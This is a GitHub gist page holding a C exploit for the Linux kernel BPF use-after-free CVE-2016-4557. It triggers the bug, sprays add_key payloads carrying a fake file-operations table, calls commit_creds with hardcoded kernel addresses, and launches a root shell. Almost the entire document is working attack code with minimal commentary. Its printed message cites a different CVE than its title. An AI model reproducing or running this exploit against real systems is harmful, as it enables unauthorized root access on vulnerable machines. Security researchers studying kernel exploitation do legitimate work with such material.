Skip to content

Instantly share code, notes, and snippets.

@f0rm2l1n
Created September 29, 2020 09:01
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save f0rm2l1n/63f65a10a223e69af1ccc936a47226bc to your computer and use it in GitHub Desktop.
Save f0rm2l1n/63f65a10a223e69af1ccc936a47226bc to your computer and use it in GitHub Desktop.
CVE-2016-4557-newexp.c
#define _GNU_SOURCE
#include <errno.h>
#include <err.h>
#include <unistd.h>
#include <fcntl.h>
#include <sched.h>
#include <signal.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/syscall.h>
#include <sys/prctl.h>
#include <linux/bpf.h>
#define PAGE_SIZE (1024)
#ifndef __NR_bpf
# if defined(__i386__)
# define __NR_bpf 357
# elif defined(__x86_64__)
# define __NR_bpf 321
# elif defined(__aarch64__)
# define __NR_bpf 280
# else
# error
# endif
#endif
// #define MMAP_NULL_ENABLE 1
#define COMMIT_CREDS (0xffffffff8106ec60)
// (0xc0037e74)
#define PREPARE_KERNEL_CRED (0xffffffff8106f020)
// (0xc0038218)
#define PRINTK (0xffffffff8111bfa2)
// (0xc0050d98)
typedef unsigned long __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred);
typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred);
typedef unsigned long __attribute__((regparm(3))) (* _printk)(char* msg);
void get_root_payload(void) {
((_printk)(PRINTK))("Boom! Arbitary Code Execution! CVE-2018-5333\n");
((_commit_creds)(COMMIT_CREDS))(
((_prepare_kernel_cred)(PREPARE_KERNEL_CRED))(0)
);
}
unsigned long fake_ops[14] = {0};
int do_nothing(void *p) {
prctl(PR_SET_PDEATHSIG, SIGKILL);
while (1) sleep(1);
}
void spray_addkey(int count, int size) {
int i;
char payload[PAGE_SIZE];
memset(payload, 0, PAGE_SIZE);
// counter, offset 0x38
*(unsigned long*)(payload + 0x38) = 2;
// f_ops, offset 0x28
*(unsigned long*)(payload + 0x28) = fake_ops;
// avoid crash by dnotify_flush
*(unsigned long*)(payload + 0x40) = -1;
*(unsigned long*)(payload + 0x48) = -1;
char desc[256];
// memset(payload, 0x41, PAGE_SIZE); // AAAA
for(i = 0; i < count; i++) {
sprintf(desc, "payload%d", i);
syscall(__NR_add_key, "user", desc, payload, size, -2);
}
}
int main(void) {
char buf[4096];
char child_stack[8000];
printf("[.] clone the child process\n");
int child = clone(do_nothing, child_stack + sizeof(child_stack), CLONE_FILES, NULL);
if (child == -1)
err(1, "clone");
printf("[~] done that\n");
printf("[.] open read only file\n");
int uaf_fd = open("/proc/self/maps", O_RDONLY);
if (uaf_fd == -1)
err(1, "unable to open UAF fd");
printf("[~] done that\n");
struct bpf_insn insns[2] = {
{
.code = BPF_LD | BPF_IMM | BPF_DW,
.src_reg = BPF_PSEUDO_MAP_FD,
.imm = uaf_fd
},
{
}
};
union bpf_attr attr = {
.prog_type = BPF_PROG_TYPE_SOCKET_FILTER,
.insn_cnt = 2,
.insns = (__aligned_u64) insns,
.license = (__aligned_u64)""
};
printf("[.] execute bpf system call\n");
if (syscall(__NR_bpf, BPF_PROG_LOAD, &attr, sizeof(attr)) != -1)
errx(1, "expected BPF_PROG_LOAD to fail, but it didn't");
if (errno != EINVAL)
err(1, "expected BPF_PROG_LOAD to fail with -EINVAL, got different error");
printf("[~] done that\n");
printf("[.] start spraying\n");
fake_ops[12] = &get_root_payload; // flush function
spray_addkey(16, 256); // kmalloc-256
sleep(3);
spray_addkey(16, 256);
printf("[~] done that\n");
// wait for the RCU work done
// also should boot spraying
// try to crash
printf("[.] start close the double free fd\n");
close(uaf_fd);
printf("[~] done that\n");
// shell
if (getuid() == 0) {
printf("[~] Launching the root shell\n");
system("/bin/sh");
}
else {
printf("[!] Try harder, loser\n");
exit(1);
}
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment